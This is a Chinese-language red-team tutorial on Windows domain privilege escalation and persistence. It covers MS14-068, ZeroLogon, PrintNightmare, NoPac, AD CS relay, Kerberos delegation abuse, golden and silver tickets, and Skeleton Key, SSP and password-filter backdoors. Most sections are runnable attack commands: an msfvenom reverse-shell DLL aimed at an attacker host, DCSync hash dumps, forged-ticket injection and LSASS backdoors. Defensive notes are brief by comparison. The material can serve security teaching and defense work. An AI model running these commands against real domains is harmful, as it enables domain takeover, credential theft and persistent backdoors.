Mimikatz 的威力在于其对 Windows 安全机制的深度利用,但同时也暴露了系统在凭据管理上的脆弱性。红队需灵活掌握其功能,而蓝队应通过加固配置与实时监控降低风险。

七.域权限提升漏洞篇

​ Kerberos身份认证流程。

image-20250423204511631

1.MS14-068

漏洞原理

MS14-068(CVE-2014-6324)是Kerberos协议中的权限提升漏洞,允许普通域用户伪造特权票据(TGT),获取域管理员权限。其核心问题在于KDC(密钥分发中心)对PAC(特权属性证书)签名的验证缺陷

  1. PAC验证绕过:攻击者可构造包含伪造高权限组(如域管理员组SID)的PAC,利用KDC对校验算法(如MD5)的支持缺陷,绕过密钥验证。
  2. 签名伪造:正常PAC需使用服务账号和krbtgt的哈希签名,但漏洞允许使用无密钥依赖的MD5算法生成签名,使伪造的PAC通过验证。
  3. 票据注入:伪造的TGT被KDC接受后,攻击者可生成任意服务的访问票据(如CIFS),从而获得域控权限。

漏洞复现流程

前提条件

  • 域控未安装补丁KB3011780。
  • 获取普通域用户的账号密码(或Hash)及其SID。
  • 域内存在至少一台未加固的主机。

复现步骤

  1. 环境检测

    1
    2
    systeminfo | find "3011780"  # 确认域控未安装补丁
    whoami /all # 获取当前用户SID(如S-1-5-21-xxx)
  2. 生成伪造票据
    使用工具(如ms14-068.exePykek)生成TGT:

    1
    2
    MS14-068.exe -u [email protected] -p password -s <SID> -d <域控IP>
    # 示例:生成[email protected]
  3. 票据注入
    通过Mimikatz或Kekeo注入内存:

    1
    2
    kerberos::purge      # 清除现有票据
    kerberos::ptc [email protected] # 注入伪造票据
  4. 权限验证与利用

    • 访问域控共享目录:
      1
      dir \\DC\C$        # 成功访问说明提权成功
    • 使用PsExec获取域控Shell:
      1
      PsExec.exe \\DC cmd.exe  # 以管理员身份执行命令

适用范围

  1. 受影响系统
    • Windows Server 2003/2008/2012(未安装KB3011780)。
    • 桌面系统:Windows Vista/7/8/8.1。
  2. 利用场景
    • 攻击者已控制域内一台普通主机,并获取低权限域用户凭据。
    • 域控未启用SID过滤或PAC强验证机制。

PAC扩展知识补充

  • PAC核心作用:权限声明
    PAC是微软对Kerberos协议的扩展,由KDC生成并嵌入到TGT中,用于声明用户的组成员身份(如域管理员组)、权限列表(如SeEnableDelegationPrivilege)等。
    • 关键字段:用户SID、所属组SID列表、用户权限、PAC签名等。
    • 验证机制:PAC需由KDC使用krbtgt账号的密钥签名,确保其合法性。

防御与缓解措施

  1. 补丁修复
    域控安装补丁KB3011780,并确保所有主机更新至最新版本。
  2. 权限控制
    限制普通用户权限,避免其获取本地管理员权限。
  3. 流量监控
    监控Kerberos请求中的异常行为(如大量TGT请求或异常PAC内容)。
  4. 加固Kerberos
    启用PAC签名强校验(如仅允许AES/HMAC算法)。

工具与扩展

  • 利用工具ms14-068.exePykekMimikatzgoldenPac(自动化攻击)。
  • 检测脚本:通过Wireshark分析Kerberos流量,识别伪造PAC的MD5签名特征。

2.CVE-2020-1472(ZeroLogon)

漏洞利用条件

  1. 目标环境要求

    • 受影响系统:Windows Server 2008 R2至2019版本(包括Server Core安装模式)的域控制器(DC)。
    • 补丁状态:目标域控未安装微软2020年8月发布的补丁(KB4571729)或未启用“强制模式”(2021年2月前未强制修复)。
    • 网络访问:攻击者需能通过TCP访问域控的445端口(Netlogon协议默认端口)。
  2. 攻击前提

    • 域控信息:已知域控的计算机名(NetBIOS名称)和IP地址。
    • 权限要求:无需任何域内用户凭证,攻击者可处于域外环境发起攻击。

漏洞利用流程

1. 漏洞检测
使用工具(如Secura提供的zerologon_tester.py)验证目标域控是否存在漏洞:

1
2
python3 zerologon_tester.py <域控计算机名> <域控IP>
# 示例:python3 zerologon_tester.py DC01 192.168.1.100

若返回“Success!”,则漏洞存在。

2. 重置域控机器账户密码
利用工具(如set_empty_pw.py)将域控机器账户的密码置空:

1
2
python3 set_empty_pw.py <域控计算机名> <域控IP>
# 示例:python3 set_empty_pw.py DC01 192.168.1.100

此操作会通过调用NetrServerPasswordSet2函数将域控的机器用户密码重置为空,导致域控与域数据库的凭证不一致(可能引发脱域风险)。

3. 导出域内哈希
使用Impacket的secretsdump.py工具,利用空密码导出域控的哈希(包括域管账户):

1
2
python3 secretsdump.py -no-pass <域名>/<域控计算机名>$@<域控IP>
# 示例:python3 secretsdump.py -no-pass example.com/DC01\[email protected]

获取的NTLM哈希可用于后续横向移动或生成黄金票据。

4. 获取域控权限
通过哈希传递(Pass-the-Hash)工具(如wmiexec.py)获取交互式Shell:

1
2
python3 wmiexec.py -hashes <LM哈希>:<NTLM哈希> <域名>/administrator@<域控IP>
# 示例:python3 wmiexec.py -hashes aad3b435...:570a9a65... example.com/[email protected]

5. 恢复域控原始密码
为防止域控脱域,需从注册表导出原始哈希并还原:

1
2
3
4
5
6
7
8
9
10
# 导出注册表文件
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

# 使用secretsdump解析哈希
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

# 还原密码
python3 reinstall_original_pw.py <域控计算机名> <域控IP> <原始哈希HEX值>

关键技术与原理

  1. 加密缺陷

    • AES-CFB8模式:Netlogon协议使用AES-CFB8加密时,初始化向量(IV)被错误设置为全零,攻击者通过多次碰撞(平均256次)生成全零的客户端凭证(Client Credential),绕过认证。
    • 挑战-响应机制:攻击者可控的Client Challenge设置为全零,结合固定IV,导致密文碰撞概率大幅提升(从1/2^64降至1/256)。
  2. 权限提升路径

    • 密码重置:通过NetrServerPasswordSet2调用将域控机器账户密码置空,利用其DCSync特权导出域管哈希。
    • 横向扩展:获取域管权限后可进一步控制整个域环境。

防御与缓解措施

  1. 补丁修复:安装微软官方补丁并启用“强制模式”,确保所有域控和客户端使用安全的Netlogon协议。
  2. 网络隔离:限制对域控445端口的非必要访问,启用SMB签名和加密。
  3. 监控与检测:监控异常Netlogon请求(如大量全零参数的认证尝试)。

工具与资源

3.CVE-2021-1675 (PrintNightmare)

漏洞利用条件

  1. 目标环境要求

    • 受影响系统:Windows Server 2008 R2至2022版本、Windows 7至11的客户端系统,尤其是域控制器(DC)。
    • 补丁状态:未安装微软2021年6月及后续修复补丁(KB5005010等),或未启用“强制模式”的域控环境。
    • 服务状态:目标主机的Print Spooler服务(spoolsv.exe)需处于运行状态(默认开启)。
  2. 攻击前提

    • 权限要求:普通域用户账号或机器账号(如iis$)的凭据(密码或Hash)。
    • 网络访问:攻击者需能通过SMB协议访问目标主机的445端口,并拥有一个匿名共享目录用于存放恶意DLL文件。

漏洞利用流程

1. 环境检测

  • 确认Print Spooler服务状态
    使用rpcdump.py扫描目标主机的Print Spooler服务是否开放:
    1
    rpcdump.py @目标IP | grep -i 'MS-RPRN'  # 存在输出则服务可用。
  • 验证补丁状态
    检查目标系统是否已安装补丁,例如通过systeminfo命令或网络工具间接判断。

2. 生成恶意DLL
使用msfvenom生成反向Shell的DLL(需与目标架构匹配):

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=攻击者IP LPORT=监听端口 -f dll -o exploit.dll。

3. 配置匿名SMB共享

  • 在攻击机(如Kali)或域内主机上设置匿名共享目录,存放恶意DLL(需确保共享路径可被目标访问):
    1
    impacket-smbserver share 共享目录路径 -smb2support。

4. 执行漏洞利用
使用CVE-2021-1675.py脚本发起攻击(需安装修改版Impacket库):

1
python3 CVE-2021-1675.py 域名/用户名:密码@目标IP '\\攻击者IP\共享目录\exploit.dll'
  • 参数说明
    • 用户名/密码:普通域用户或机器账号凭据。
    • DLL路径:指向SMB共享中的恶意DLL。

5. 获取权限

  • 启动监听器(如Netcat或Metasploit)捕获反向Shell:
    1
    nc -lvp 监听端口  # Shell以SYSTEM权限返回。
  • 扩展利用:通过获取的权限执行横向移动、提取域哈希(如secretsdump.py)或植入持久化后门。

技术原理与漏洞本质

  • 核心缺陷:Print Spooler服务以SYSTEM权限运行,且未对YAddPrinterDriverEx函数的参数dwFileCopyFlags进行严格校验。通过设置APD_INSTALL_WARNED_DRIVER标志(0x8000),可绕过驱动签名校验,强制加载任意DLL。
  • 攻击链
    1. 权限绕过:利用RPC调用(如RpcAddPrinterDriverEx)绕过ValidateObjectAccess检查,允许低权限用户安装驱动。
    2. DLL注入:恶意DLL被复制至C:\Windows\System32\spool\drivers\x64\3\目录并加载,触发代码执行。

防御与缓解措施

  1. 补丁修复:安装微软官方补丁(KB5005010等),并重启系统生效。
  2. 服务禁用:非必要环境下禁用Print Spooler服务:
    1
    2
    Stop-Service -Name Spooler -Force
    Set-Service -Name Spooler -StartupType Disabled。
  3. 权限控制:限制普通用户安装打印机驱动的权限,启用SMB签名及加密。
  4. 监控与检测
    • 监控spoolsv.exe加载异常DLL的行为(如非系统路径的模块)。
    • 检测C:\Windows\System32\spool\drivers\x64\目录下的新增文件(如.dll)。
    • 分析事件日志(如Event ID 808、5145)中的异常打印服务操作。

复现失败常见原因

  • 补丁未完全生效:部分系统需多次安装补丁或手动启用“强制模式”。
  • 共享路径配置错误:匿名SMB共享权限不足或路径不可达(需确保guest访问权限)。
  • DLL架构不匹配:目标系统为64位时需生成64位DLL,否则加载失败。

参考工具

4.CVE-2021-42278 + CVE-2021-42287(NoPac)

漏洞原理概述

NoPac漏洞是CVE-2021-42278和CVE-2021-42287的组合利用,允许攻击者通过伪造域控机器账户(DC)的sAMAccountName属性,结合Kerberos协议的缺陷,将普通域用户权限提升至域管理员权限。其核心原理如下:

  1. CVE-2021-42278(sAMAccountName伪造)
    Active Directory未对机器账户的sAMAccountName属性进行严格校验,允许攻击者创建与域控机器账户同名但**不带$**的账户(如将机器账户名从DC改为DC$的原始名称DC),从而绕过命名规则限制。
  2. CVE-2021-42287(Kerberos逻辑缺陷)
    当KDC(密钥分发中心)未找到TGT对应的账户时,会自动尝试在账户名后添加$重新搜索(如从DC变为DC$),并使用域控密钥加密服务票据(ST),从而授予攻击者域控权限。

漏洞利用条件

  1. 目标环境要求

    • 域控未安装补丁KB5008602KB5008380
    • 域内普通用户账户的凭据(密码或Hash),且该用户具有创建机器账户的权限(默认MachineAccountQuota=10)。
    • 攻击者需能访问域控的445端口(SMB)88端口(Kerberos)
  2. 特殊场景

    • MachineAccountQuota=0(即禁止创建机器账户),攻击者需利用已有用户账户的sAMAccountName修改权限(如具有WriteProperty权限)。

漏洞利用流程

手动利用步骤

  1. 创建并配置伪造的机器账户

    • 使用PowerShell模块(如Powermad.ps1)创建机器账户:
      1
      New-MachineAccount -MachineAccount AttackerMachine -Password 'P@ssw0rd!'
    • 清除该账户的SPN(服务主体名称),避免冲突:
      1
      Set-DomainObject -Clear 'serviceprincipalname'
    • 修改sAMAccountName为域控名称(如DC,不带$):
      1
      Set-MachineAccountAttribute -MachineAccount AttackerMachine -Value "DC" -Attribute samaccountname
  2. 请求伪造的TGT票据

    • 使用Rubeus工具请求TGT:
      1
      Rubeus.exe asktgt /user:DC /password:P@ssw0rd! /domain:example.com /dc:dc.example.com /nowrap
  3. 恢复机器账户名称

    • sAMAccountName改回原始值,避免后续冲突:
      1
      Set-MachineAccountAttribute -MachineAccount AttackerMachine -Value "AttackerMachine" -Attribute samaccountname
  4. 通过S4U2Self请求高权限ST

    • 利用TGT申请域控服务(如CIFSLDAP)的ST,并加载到内存:
      1
      Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:ldap/dc.example.com /ticket:[TGT_BASE64] /ptt
  5. 权限验证与利用

    • 使用dir \\dc\C$验证文件访问权限。
    • 通过DCSync导出域哈希:
      1
      mimikatz.exe "lsadump::dcsync /domain:example.com /user:krbtgt"

自动化工具利用(以noPac为例)

  1. 漏洞检测

    1
    noPac.exe scan -domain example.com -user lowpriv -pass 'Password123!'
  2. 一键化提权

    • 获取CIFS服务权限:
      1
      noPac.exe -domain example.com -user lowpriv -pass 'Password123!' /dc dc.example.com /mAccount test /mPassword test123 /service cifs /ptt
    • 获取LDAP服务权限并导出域哈希:
      1
      noPac.exe -domain example.com -user lowpriv -pass 'Password123!' /dc dc.example.com /mAccount test /mPassword test123 /service ldap /ptt /impersonate Administrator

自动化工具利用(sam-the-admin)

步骤 1:漏洞检测与初始化
1
python3 sam_the_admin.py "域名/普通用户:密码" -dc-ip 域控IP -shell

image-20250426195409423

  • 功能:验证目标域控是否存在漏洞,并自动创建伪造的机器账户。
  • 关键操作
    • 创建机器账户(如 testpc),清除其 SPN 属性。
    • 修改机器账户的 sAMAccountName 为域控名称(如 DC,不带 $ 后缀)。
步骤 2:请求伪造 TGT 票据

工具内部调用 Impacketasktgt 模块,生成包含伪造 PAC 的 TGT:

1
asktgt -dc-ip 域控IP 域名/伪造机器账户名
  • 原理:利用 KDC 对机器账户名自动添加 $ 的缺陷,使 TGT 被误认为域控账户签发。
步骤 3:恢复机器账户名

为防止命名冲突,工具自动将伪造的 sAMAccountName 恢复为原始值,确保后续操作不触发异常。

步骤 4:通过 S4U2Self 请求高权限 ST
1
KRB5CCNAME='票据缓存路径' impacket-smbexec -k -no-pass 域名/域控主机名
  • 功能:利用生成的 TGT,请求域控服务(如 CIFSLDAP)的 ST,并注入内存。
  • 权限提升:通过模拟域管理员(如 Administrator)获取服务票据,绕过权限校验。
步骤 5:执行远程命令或 DCSync
  • 获取 Shell:通过 smbexec.py 建立交互式会话,执行系统命令。

  • 导出域哈希:调用 secretsdump.py 进行 DCSync,提取域内所有用户凭据:

    1
    python3 secretsdump.py -k -no-pass 域名/域控主机名@域控IP

防御与缓解措施

  1. 补丁修复
    安装微软补丁KB5008602KB5008380,并重启域控。
  2. 权限控制
    • 将域内MachineAccountQuota设置为0,禁用普通用户创建机器账户的权限。
    • 限制用户对sAMAccountName属性的修改权限。
  3. 监控与检测
    • 监控异常sAMAccountName修改事件(如Event ID 5136)。
    • 分析Kerberos请求中的异常S4U2Self操作。

工具与资源

  • 利用工具
    • noPac:自动化扫描与利用工具(需.NET 4.0)。
    • sam-the-admin:Python版漏洞利用脚本。
  • 检测脚本
    使用PowerShell模块(如Powerview)检查域内MachineAccountQuota配置。

5.ADCS证书服务攻击(NTLM中继)

一、漏洞原理

Active Directory证书服务(AD CS)的HTTP证书接口未启用NTLM中继保护,且仅允许NTLM身份验证(禁用Kerberos),导致攻击者可通过NTLM Relay攻击伪造域控制器机器账户(DC$)的认证请求,获取高权限证书,进而实现权限提升或域控接管。


二、利用条件

  1. 目标环境要求

    • AD CS服务配置:AD CS已启用Web注册功能(HTTP接口/certsrv/certfnsh.asp开放),且未安装补丁KB5008602/KB5008380。
    • 域控状态:域控制器未启用SMB签名或NTLM中继保护机制,且WebClient服务可能需运行(若使用ADCSPwn工具)。
    • 网络访问:攻击者需能访问域控的88(Kerberos)和445(SMB)端口,并具备中继到AD CS HTTP接口的能力。
  2. 攻击前提

    • 初始权限:普通域用户账号(或机器账号)凭据(密码或Hash),或无需凭证(若利用PetitPotam触发匿名认证)。
    • 工具依赖:需使用特定版本的Impacket(支持--adcs参数)及PetitPotam等工具。

三、利用流程

1. 环境准备与检测

  • 定位证书服务器
    1
    certutil -config - -ping  # 查询域内证书服务器地址
  • 验证漏洞存在:访问http://<域控IP>/certsrv/certfnsh.asp,确认仅支持NTLM认证。
2. 配置NTLM中继

使用Impacket的ntlmrelayx.py监听并中继流量至AD CS接口:

1
python3 ntlmrelayx.py -t http://<CA_IP>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
  • 关键参数--adcs指定AD CS攻击模式,--template DomainController请求域控证书模板。

3. 触发NTLM认证

通过PetitPotam强制域控(DC$)向中继服务器认证:

  • Python脚本
    1
    python3 PetitPotam.py -d <域名> -u <用户> -p <密码> <中继服务器IP> <域控IP>
  • 二进制工具
    1
    PetitPotam.exe <中继服务器IP> <域控IP>  # 无需凭证触发认证
  • Mimikatz模块
    1
    misc::efs /server:<域控主机名> /connect:<中继服务器IP>

4. 获取伪造证书

成功中继后,ntlmrelayx会生成Base64编码的证书数据。攻击者可截获该证书,保存为文件或直接复制。

5. 申请高权限票据

使用Rubeus将证书转换为Kerberos TGT票据:

1
Rubeus.exe asktgt /user:DC$ /certificate:<Base64证书> /ptt
  • 效果:票据注入当前会话后,攻击者具备DC$权限,可执行DCSync操作。

6. 权限提升与横向移动

  • 导出域哈希
    1
    mimikatz.exe "lsadump::dcsync /domain:<域名> /user:krbtgt"
  • 哈希传递(PTH)
    1
    sekurlsa::pth /user:Administrator /domain:<域名> /ntlm:<NTLM哈希>
  • 远程命令执行
    1
    python3 wmiexec.py -hashes :<NTLM哈希> Administrator@<域控IP>

四、防御与缓解措施

  1. 补丁与配置

    • 安装微软补丁KB5008602,禁用HTTP证书注册接口的NTLM认证。
    • 启用SMB签名及LDAPS(SSL加密)。
  2. 服务管理

    • 停止并禁用非必要的WebClient服务(若使用ADCSPwn攻击需此服务)。
    • 限制普通用户创建机器账户的权限(设置MachineAccountQuota=0)。
  3. 监控与检测

    • 监控事件日志(如Event ID 4741、4768)中的异常机器账户操作或Kerberos票据请求。
    • 使用PSPKIAudit脚本检测AD CS配置风险。

五、工具与资源

八、域权限提升-委派


一、委派提权的核心机制

Kerberos委派(Delegation) 是Active Directory中允许服务A以用户身份访问服务B的机制,旨在实现跨服务身份传递。其本质是信任链的扩展,但配置不当会导致攻击者通过滥用委派权限,将低权限提升至域管理员甚至域控权限。核心流程如下:


二、委派类型与攻击面

1. 非约束委派(Unconstrained Delegation)

image-20250428005221916

  • 原理
    服务账户被配置为可接收任何用户的TGT(票据授予票据),并允许将其转发到任意其他服务。

    • 漏洞触发条件
      服务账户启用TrustedForDelegation属性,且攻击者控制该服务账户(或诱导高权限用户访问该服务)。
    • 攻击流程
      1. 获取服务账户权限:通过漏洞(如弱口令、SPN劫持)控制配置了非约束委派的服务账户(如IIS、MSSQL服务账号)。
      2. 诱导高权限用户访问:通过钓鱼、PetitPotam等工具强制域管理员访问该服务。
      3. 窃取TGT:服务账户内存中缓存用户TGT,使用Mimikatz或Rubeus导出:
        1
        mimikatz "sekurlsa::tickets /export"  # 导出内存中的Kerberos票据
      4. 横向移动:利用窃取的TGT申请其他服务(如LDAP、CIFS)的ST(服务票据),执行DCSync或远程命令。

2. 约束委派(Constrained Delegation)

  • 原理
    服务账户被限制只能代表用户访问特定服务(如CIFS或LDAP),通过S4U2SelfS4U2Proxy扩展实现。

    • 漏洞触发条件
      服务账户配置了msDS-AllowedToDelegateTo属性(允许委派的目标服务列表),且攻击者控制该账户。
    • 攻击流程
      1. 控制服务账户:获取约束委派服务账户的凭据(如Hash或密码)。
      2. 伪造S4U请求
        • S4U2Self:为任意用户申请针对自身服务的ST(无需用户密码)。
        • S4U2Proxy:将ST转发到允许委派的目标服务(如域控的LDAP)。
          1
          Rubeus.exe s4u /user:ServiceAccount /rc4:<NTLM-Hash> /impersonateuser:Administrator /msdsspn:ldap/DC01 /ptt
      3. 权限提升:注入ST后,以管理员身份访问域控服务(如DCSync导出哈希)。

3. 基于资源的约束委派(Resource-Based Constrained Delegation, RBCD)

  • 原理
    资源服务(如域控)自主定义哪些账户可委派到自身(通过msDS-AllowedToActOnBehalfOfOtherIdentity属性)。 image-20250428002304219

    • 漏洞触发条件
      攻击者拥有对某资源的Write权限(如通过ACL漏洞修改目标机器的RBCD配置)。

    • 攻击流程

      1. 创建恶意机器账户:利用MachineAccountQuota(默认允许普通用户创建10个机器账户)。

        1
        New-MachineAccount -MachineAccount Attacker -Password 'Passw0rd!'
      2. 配置RBCD权限:将恶意机器账户添加到目标域控的msDS-AllowedToAct...属性。

        1
        Set-ADComputer DC01 -PrincipalsAllowedToDelegateToAccount Attacker$
      3. 发起S4U攻击:利用恶意账户申请域控服务的ST,获取管理员权限。

        1
        Rubeus.exe s4u /user:Attacker$ /rc4:<机器账户Hash> /impersonateuser:Administrator /msdsspn:cifs/DC01 /ptt

三、攻击工具与检测

1. 常用工具

  • 信息收集

    • PowerView:枚举域内委派配置。
      1
      2
      Get-DomainComputer -Unconstrained | Select-Object Name  # 非约束委派主机
      Get-DomainUser -TrustedToAuth | Select-Object UserPrincipalName # 约束委派账户
    • ADExplorer:可视化查看RBCD配置。
  • 攻击利用

    • ImpacketgetST.py生成伪造服务票据。
    • Rubeus:自动化S4U请求与票据注入。
    • Mimikatz:导出内存票据或Pass-the-Ticket攻击。

2. 防御与检测

  • 加固措施
    1. 禁用非必要的非约束委派配置,限制约束委派范围。
    2. 设置MachineAccountQuota=0,防止普通用户创建机器账户。
    3. 启用Kerberos Armoring(FAST)和SMB签名,防御中继攻击。
  • 监控日志
    • Event ID 4769(Kerberos服务票据请求):关注异常ServiceName(如非标准SPN)。
    • Event ID 5136(目录服务对象修改):监控msDS-AllowedToAct...属性变更。

四、总结

委派提权的核心在于滥用Kerberos协议的信任链扩展机制,通过控制服务账户或修改资源权限,实现从低权限到域控权限的跃迁。防御需结合最小权限原则、日志监控与定期ACL审计,阻断攻击者从委派配置到横向移动的完整路径。

九、域权限维持

1.黄金票据(Golden Ticket)


一、黄金票据的核心原理

黄金票据(Golden Ticket) 是一种基于 Kerberos 协议的身份伪造攻击,通过窃取域控中 krbtgt 账户的 NTLM HashAES Key,伪造任意用户的 TGT(票据授予票据),绕过身份验证,实现持久的域管理员权限。其核心逻辑如下:

  1. TGT 的生成机制
    Kerberos 协议中,KDC(密钥分发中心)使用 krbtgt 账户的密钥加密 TGT。攻击者获取该密钥后,可自主生成 TGT,无需与 KDC 交互。
  2. 绕过密码验证
    黄金票据直接使用 krbtgt 的密钥加密伪造的 TGT,KDC 无法区分其合法性,默认信任该票据。
  3. 持久性
    黄金票据的有效期由攻击者自定义(默认10年),且即使域用户密码被修改或账户被禁用,票据仍有效。

二、攻击前提条件

  1. 关键凭据
    • krbtgt 账户的 NTLM Hash 或 AES Key(通常通过 DCSync 或域控内存提取)。
    • 域 SID(Security Identifier):用于构造用户/组身份信息(如 S-1-5-21-<域标识>-500 对应 Administrator)。
  2. 环境要求
    • 攻击者已控制域内一台主机,并能够与域控通信(88/Kerberos 端口)。
    • 未启用高级安全机制(如 Kerberos ArmoringFAST)。

三、黄金票据生成与利用流程

步骤 1:获取 krbtgt 账户的凭据

  • DCSync 攻击
    使用 Mimikatz 或 Impacket 的 secretsdump.py 导出 krbtgt 的 Hash:

    1
    2
    3
    mimikatz "lsadump::dcsync /domain:example.com /user:krbtgt"
    # 或使用 Impacket
    secretsdump.py example.com/[email protected] -just-dc-user krbtgt
  • 内存提取
    若已获取域控权限,直接从 LSASS 进程中提取:

    1
    mimikatz "privilege::debug" "sekurlsa::krbtgt"

步骤 2:生成黄金票据

使用 MimikatzRubeus 生成伪造的 TGT:

1
2
3
4
5
6
7
8
# 使用 Mimikatz(RC4 加密)
mimikatz "kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /krbtgt:<krbtgt_hash> /ptt"

# 使用 AES-256 密钥(更隐蔽)
mimikatz "kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /aes256:<aes_key> /ptt"

# Rubeus 生成(需指定结束时间)
Rubeus.exe golden /rc4:<krbtgt_hash> /domain:example.com /sid:S-1-5-21-... /user:Administrator /ptt
  • 关键参数
    • /user:伪造的用户名(通常为 Administrator)。
    • /domain:域名。
    • /sid:域的 SID(可通过 whoami /all 获取)。
    • /ptt:将票据注入当前会话内存(Pass-the-Ticket)。

步骤 3:权限验证与利用

  • 访问域控资源
    1
    dir \\dc.example.com\C$  # 验证文件访问权限
  • 执行 DCSync
    1
    mimikatz "lsadump::dcsync /domain:example.com /user:krbtgt"
  • 远程命令执行
    使用 PsExec 或 WMI 获取域控 Shell:
    1
    PsExec.exe \\dc.example.com cmd.exe

四、技术原理深度解析

  1. TGT 的结构与签名
    TGT 包含用户身份、组 SID、有效期等信息,并由 krbtgt 的密钥签名。黄金票据通过伪造签名,使 KDC 误认为其合法。
  2. PAC(特权属性证书)的绕过
    黄金票据可选择性包含 PAC,但若域启用 PAC 签名强校验(如仅允许 AES 加密),需确保 PAC 的正确签名。
  3. Kerberos 协议信任链
    KDC 无法验证自签名的 TGT,默认信任其合法性,这是黄金票据攻击的根源。

2.白银票据(Silver Ticket)


一、白银票据的核心原理

白银票据(Silver Ticket) 是一种基于 Kerberos 协议的服务票据伪造攻击,通过窃取服务账户(如 CIFSLDAPHTTP 等)的 NTLM HashAES Key,伪造特定服务的 ST(服务票据),绕过 TGT(票据授予票据)验证,直接访问目标服务。其核心逻辑如下:

  1. ST 的生成机制
    Kerberos 协议中,服务票据(ST)由 KDC(密钥分发中心)使用服务账户的密钥加密。攻击者获取该密钥后,可自主生成 ST,无需与 KDC 交互。
  2. 绕过 KDC 验证
    白银票据直接使用服务账户的密钥加密伪造的 ST,目标服务无法区分其合法性,默认信任该票据。
  3. 精准攻击
    白银票据仅对特定服务有效(如 CIFS/DC01),攻击范围有限,但隐蔽性更高(无 KDC 交互记录)。

二、攻击前提条件

  1. 关键凭据
    • 服务账户的 NTLM Hash 或 AES Key(通过 Kerberoasting、密码破解或内存提取获取)。
    • 目标服务的 SPN(Service Principal Name)(如 CIFS/DC01.example.com)。
  2. 环境要求
    • 攻击者已控制域内一台主机,能够与目标服务通信(如 445/SMB 端口)。
    • 目标服务未启用强加密验证(如 SMB 签名或 LDAP 加密)。

三、白银票据生成与利用流程

步骤 1:获取服务账户的凭据
  • Kerberoasting 攻击
    请求高权限服务的 ST 并离线破解:

    1
    2
    3
    4
    # 使用 Rubeus 请求 ST
    Rubeus.exe kerberoast /user:svc_sql /nowrap
    # 使用 Hashcat 破解(示例)
    hashcat -m 13100 hash.txt rockyou.txt
  • 内存提取
    若已控制运行服务的主机,使用 Mimikatz 提取服务账户凭据:

    1
    mimikatz "privilege::debug" "sekurlsa::logonpasswords"
步骤 2:生成白银票据

使用 MimikatzRubeus 生成伪造的 ST:

1
2
3
4
5
6
7
8
# 使用 Mimikatz(伪造 CIFS 服务票据)
mimikatz "kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /target:DC01.example.com /service:CIFS /rc4:<service_hash> /ptt"

# 使用 AES-256 密钥(更隐蔽)
mimikatz "kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /target:DC01.example.com /service:CIFS /aes256:<aes_key> /ptt"

# Rubeus 生成(需指定 SPN 和用户)
Rubeus.exe silver /service:CIFS/DC01.example.com /user:Administrator /rc4:<service_hash> /ptt
  • 关键参数
    • /user:伪造的用户名(如 Administrator)。
    • /domain:域名。
    • /sid:域的 SID(通过 whoami /all 获取)。
    • /service:目标服务的 SPN(必须与目标服务匹配)。
    • /ptt:将票据注入当前会话内存(Pass-the-Ticket)。
步骤 3:权限验证与利用
  • 访问目标服务资源

    1
    dir \\DC01.example.com\C$  # 验证文件共享访问权限
  • 执行远程命令

    1
    PsExec.exe \\DC01.example.com cmd.exe
  • DCSync 攻击(需 LDAP 服务票据)

    1
    mimikatz "lsadump::dcsync /domain:example.com /user:krbtgt"

四、技术原理深度解析

  1. ST 的结构与签名
    ST 包含用户身份、服务 SPN、有效期等信息,并由服务账户的密钥签名。白银票据通过伪造签名,使目标服务误认为其合法。
  2. PAC(特权属性证书)的缺失
    白银票据通常不包含 PAC(或包含无效 PAC),因此依赖目标服务是否强制校验 PAC。若服务不校验 PAC,攻击者可绕过权限验证。
  3. 无需 KDC 交互
    白银票据直接生成并发送至目标服务,不经过 KDC,因此无 Event ID 4768(TGT 请求)日志记录,隐蔽性更高。

五、白银票据 vs. 黄金票据

特性 白银票据(Silver Ticket) 黄金票据(Golden Ticket)
依赖密钥 服务账户的 NTLM Hash/AES Key krbtgt 的 NTLM Hash/AES Key
攻击范围 仅限特定服务(如 CIFS、LDAP、HTTP) 全域(可访问任何服务)
是否需要 TGT 无需(直接生成 ST) 无需(直接生成 TGT)
隐蔽性 高(无 KDC 交互日志) 较高(TGT 请求日志可能异常)
防御难度 中(需轮换服务账户密码) 高(需重置 krbtgt 密码)

3.万能密码


一、万能密码的核心概念

万能密码 是一种特殊的权限维持技术,通过在域控中植入后门,使得攻击者使用预设的通用密码即可通过任意用户账户的身份验证(如域管理员)。该技术不修改用户实际密码,而是篡改身份验证流程,绕过正常密码校验逻辑。其核心特点包括:

  • 隐蔽性:不影响用户正常登录,仅在攻击者使用特定密码时触发后门。
  • 持久性:通常依赖内存注入或系统级Hook,需结合持久化机制防止重启失效。
  • 高权限要求:需域管理员或SYSTEM权限部署后门。

二、技术实现方式

1. Skeleton Key(骨架密钥)

原理
由Mimikatz提出的内存级后门,通过Hook LSASS进程的msv1_0.dllkerberos.dll中的密码验证函数,为所有用户添加一个通用密码(如mimikatz)。
操作步骤

1
2
# 注入Skeleton Key到LSASS(需管理员权限)
mimikatz "privilege::debug" "misc::skeleton"

特点

  • 无需修改用户密码:原始密码仍有效,攻击者使用通用密码即可登录。
  • 重启失效:LSASS进程重启后后门消失。
  • 仅影响当前域控:多域控环境下需在所有DC上部署。

持久化

  • 结合计划任务WMI事件订阅,在系统启动时重新注入Skeleton Key。
  • 使用工具(如Metasploitpersistence模块)创建自启动服务。

2. 恶意安全支持提供者(SSP)

原理
通过注册恶意SSP(Security Support Provider)DLL,截获并篡改身份验证请求。
操作步骤

1
2
# 使用Mimikatz安装恶意SSP(如mimilib.dll)
mimikatz "privilege::debug" "misc::memssp"

特点

  • 记录或篡改凭据:可记录所有用户密码或允许特定密码通过验证。
  • 重启持久:SSP注册表项(HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages)确保DLL在重启后加载。

持久化

  • 将恶意DLL写入%SystemRoot%\System32并注册为SSP。
  • 通过组策略强制所有域控加载该SSP。

3. 密码筛选器后门(Password Filter DLL)

原理
利用Windows密码策略机制,注册恶意密码筛选器DLL,在密码修改或验证时触发后门逻辑。
操作步骤

  1. 编写恶意DLL:实现PasswordFilter函数,检查输入密码是否为预设值(如Backdoor@123),若匹配则返回验证通过。
